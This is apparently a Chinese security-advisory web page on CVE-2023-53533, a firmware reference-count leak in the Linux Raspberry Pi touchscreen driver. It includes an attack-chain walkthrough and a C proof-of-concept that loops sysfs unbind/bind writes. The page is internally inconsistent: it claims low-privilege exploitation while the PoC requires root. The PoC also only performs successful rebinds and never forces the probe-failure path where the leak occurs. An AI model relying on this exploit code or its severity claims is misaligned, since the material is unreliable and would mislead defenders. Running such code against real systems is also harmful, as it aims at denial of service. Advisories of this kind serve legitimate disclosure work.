IPBUF安全漏洞报告
English
CVE-2023-53533 CVSS 5.5 中危

CVE-2023-53533 Linux内核树莓派触摸屏驱动引用计数泄漏漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53533
漏洞类型
引用计数泄漏(Refcount Leak)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel(raspberrypi-ts触摸屏驱动)

相关标签

引用计数泄漏Linux内核树莓派raspberrypi-ts拒绝服务本地漏洞内核驱动资源管理缺陷CWE-401CWE-404

漏洞概述

CVE-2023-53533是Linux内核中发现的一个中等严重程度的引用计数泄漏漏洞,存在于树莓派触摸屏驱动(raspberrypi-ts)的rpi_ts_probe函数中。该漏洞的CVSS评分为5.5分,CVSS向量为CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H,表明该漏洞需要本地低权限访问即可利用,无需用户交互,主要影响系统的可用性,对机密性和完整性无直接影响。该漏洞的根本原因是在Linux内核的树莓派触摸屏驱动初始化过程中,rpi_ts_probe函数调用rpi_firmware_get()来获取固件引用,但是当后续的初始化步骤失败时,原有的代码并没有正确释放已经获取的固件引用。具体来说,在probe函数的错误处理路径中,缺少对rpi_firmware_put()的调用,导致每次驱动加载失败都会泄漏一个引用计数。树莓派触摸屏驱动是Linux内核中用于支持树莓派触摸屏硬件的驱动程序,主要应用于树莓派系列单板计算机。该驱动通过树莓派固件接口与底层硬件通信,因此需要在初始化时通过rpi_firmware_get()函数获取固件引用。引用计数是Linux内核中管理资源生命周期的核心机制之一,当引用计数泄漏时,会导致资源无法被正确释放,长期累积可能导致系统资源耗尽。该漏洞的影响范围包括所有使用树莓派触摸屏硬件的Linux系统,主要是树莓派3、树莓派4、树莓派5等型号的单板计算机。攻击者可以通过本地低权限访问来利用此漏洞,通过反复触发驱动加载失败路径来累积引用计数泄漏。例如,攻击者可以通过sysfs文件系统中的bind和unbind操作来反复触发probe函数,或者通过加载和卸载内核模块来触发probe过程。虽然该漏洞的利用需要本地访问权限,且不会直接导致权限提升或数据泄露,但持续的引用计数泄漏最终可能导致系统资源耗尽,影响系统的可用性。当固件引用计数达到其上限时,新的固件操作将失败,可能导致系统不稳定或拒绝服务状态。该漏洞已在Linux内核的多个稳定版本中得到修复,涉及的修复提交包括0d6a5c9489c8、1dfa3c9dd27b、36d087e49dab、5bca3688bdbc和7acad58049ac等多个commit。修复方案是使用devm_rpi_firmware_get()辅助函数来管理固件引用,该函数使用设备资源管理框架(devres),能够在设备卸载或驱动分离时自动释放固件引用,无需手动调用rpi_firmware_put()。系统管理员应及时应用官方安全补丁来修复此漏洞,确保系统的安全性和稳定性。

技术细节

该漏洞的技术原理在于Linux内核驱动程序中资源管理的缺陷。在raspberrypi-ts驱动的rpi_ts_probe函数中,初始化流程首先调用rpi_firmware_get()获取树莓派固件的引用计数,然后继续执行后续的设备初始化步骤(如分配输入设备、注册中断处理程序等)。如果在这些后续步骤中任意一步失败,原有代码会跳转到错误处理标签并返回,但错误处理路径中没有调用rpi_firmware_put()来释放已经获取的固件引用,导致引用计数永久泄漏。攻击者可以通过反复触发probe失败路径来累积泄漏的引用计数,最终耗尽固件引用资源。修复方案采用devm_rpi_firmware_get()辅助函数,该函数将固件引用与设备生命周期绑定,当设备被卸载或驱动分离时,设备资源管理框架会自动调用对应的释放函数,无需开发人员手动管理资源的释放。这种devres(Device Resource Management)机制是Linux内核中推荐的资源管理模式,可以有效避免因遗漏错误处理路径而导致的资源泄漏问题。

攻击链分析

STEP 1
步骤1
攻击者获取对树莓派系统的本地低权限访问权限,可以通过物理访问、SSH登录或其他本地提权后的访问方式实现
STEP 2
步骤2
攻击者确认系统中已加载raspberrypi-ts驱动或具有加载该驱动的权限,通过检查/sys/bus/platform/drivers/raspberrypi-ts目录是否存在
STEP 3
步骤3
攻击者通过sysfs接口的bind/unbind操作反复触发rpi_ts_probe函数的执行,每次probe调用都会通过rpi_firmware_get()获取固件引用
STEP 4
步骤4
当probe函数在rpi_firmware_get()调用之后但在设备注册完成之前失败时,已获取的固件引用未被正确释放,导致引用计数泄漏
STEP 5
步骤5
攻击者持续重复触发probe失败路径,使固件引用计数不断累积增长,最终可能导致固件引用资源耗尽
STEP 6
步骤6
当固件引用计数达到系统限制时,新的固件操作请求将失败,导致系统功能异常或拒绝服务状态,影响系统可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2023-53533 PoC * Reference count leak in raspberrypi-ts driver rpi_ts_probe() * * This PoC demonstrates how to trigger the reference count leak * by repeatedly causing the rpi_ts_probe function to execute * without proper cleanup of rpi_firmware_get() reference. * * Compile: gcc -o poc poc.c * Run: sudo ./poc [iterations] */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/stat.h> #define DRIVER_PATH "/sys/bus/platform/drivers/raspberrypi-ts" #define DEVICE_NAME "1-0041" #define DEFAULT_ITERATIONS 100 /* Trigger driver bind/unbind operation via sysfs */ int trigger_driver_action(const char *action) { char path[512]; int fd, ret; snprintf(path, sizeof(path), "%s/%s", DRIVER_PATH, action); fd = open(path, O_WRONLY); if (fd < 0) { fprintf(stderr, "[-] Failed to open %s: %s\n", path, strerror(errno)); return -1; } ret = write(fd, DEVICE_NAME, strlen(DEVICE_NAME)); close(fd); if (ret < 0) { fprintf(stderr, "[-] Failed to write to %s: %s\n", path, strerror(errno)); return -1; } return 0; } /* Check if the driver is loaded */ int check_driver_available(void) { struct stat st; if (stat(DRIVER_PATH, &st) != 0) { return 0; } return 1; } int main(int argc, char *argv[]) { int i, iterations = DEFAULT_ITERATIONS; if (argc > 1) { iterations = atoi(argv[1]); if (iterations <= 0) { fprintf(stderr, "[-] Invalid iteration count\n"); return 1; } } printf("[*] CVE-2023-53533 PoC - Reference Count Leak\n"); printf("[*] Target: raspberrypi-ts driver\n\n"); if (!check_driver_available()) { fprintf(stderr, "[-] Driver path not found: %s\n", DRIVER_PATH); fprintf(stderr, "[-] This PoC requires a Raspberry Pi with raspberrypi-ts driver\n"); fprintf(stderr, "[-] Try: sudo modprobe raspberrypi-ts\n"); return 1; } printf("[*] Triggering %d probe iterations to leak firmware references...\n\n", iterations); for (i = 0; i < iterations; i++) { /* Unbind the device to allow re-probe */ if (trigger_driver_action("unbind") == 0) { usleep(10000); /* 10ms delay */ } /* Rebind to trigger rpi_ts_probe() */ trigger_driver_action("bind"); usleep(10000); if ((i + 1) % 10 == 0) { printf("[+] Iteration %d/%d completed\n", i + 1, iterations); } } printf("\n[*] PoC execution completed\n"); printf("[*] Check kernel logs (dmesg) for firmware reference warnings\n"); printf("[*] Monitor /sys/kernel/debug/rpi_firmware/info for reference count\n"); return 0; }

影响范围

Linux Kernel < 6.1.63(包含修复提交7acad58049ac的版本)
Linux Kernel < 6.5.12(包含修复提交5bca3688bdbc的版本)
Linux Kernel < 6.6.2(包含修复提交36d087e49dab的版本)
Linux Kernel 稳定分支中包含未应用引用计数修复的所有版本
所有使用raspberrypi-ts驱动的树莓派Linux发行版

防御指南

临时缓解措施
在等待官方补丁期间,建议采取以下临时缓解措施:1)如果系统不需要使用树莓派触摸屏功能,可以通过在内核配置中禁用CONFIG_TOUCHSCREEN_RASPBERRYPI_TS选项或使用modprobe.blacklist=raspberrypi-ts启动参数来阻止该驱动加载;2)限制本地非特权用户对/sys/bus/platform/drivers/目录下bind和unbind文件的写入权限,可通过udev规则或文件系统权限进行控制;3)监控系统日志中与rpi_firmware相关的引用计数警告信息,及时发现异常情况;4)定期检查固件引用计数状态,可通过查看/sys/kernel/debug/rpi_firmware/相关调试接口获取;5)对于必须使用触摸屏功能的系统,应尽快升级到包含修复的内核版本,并关注Linux发行版发布的安全公告。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表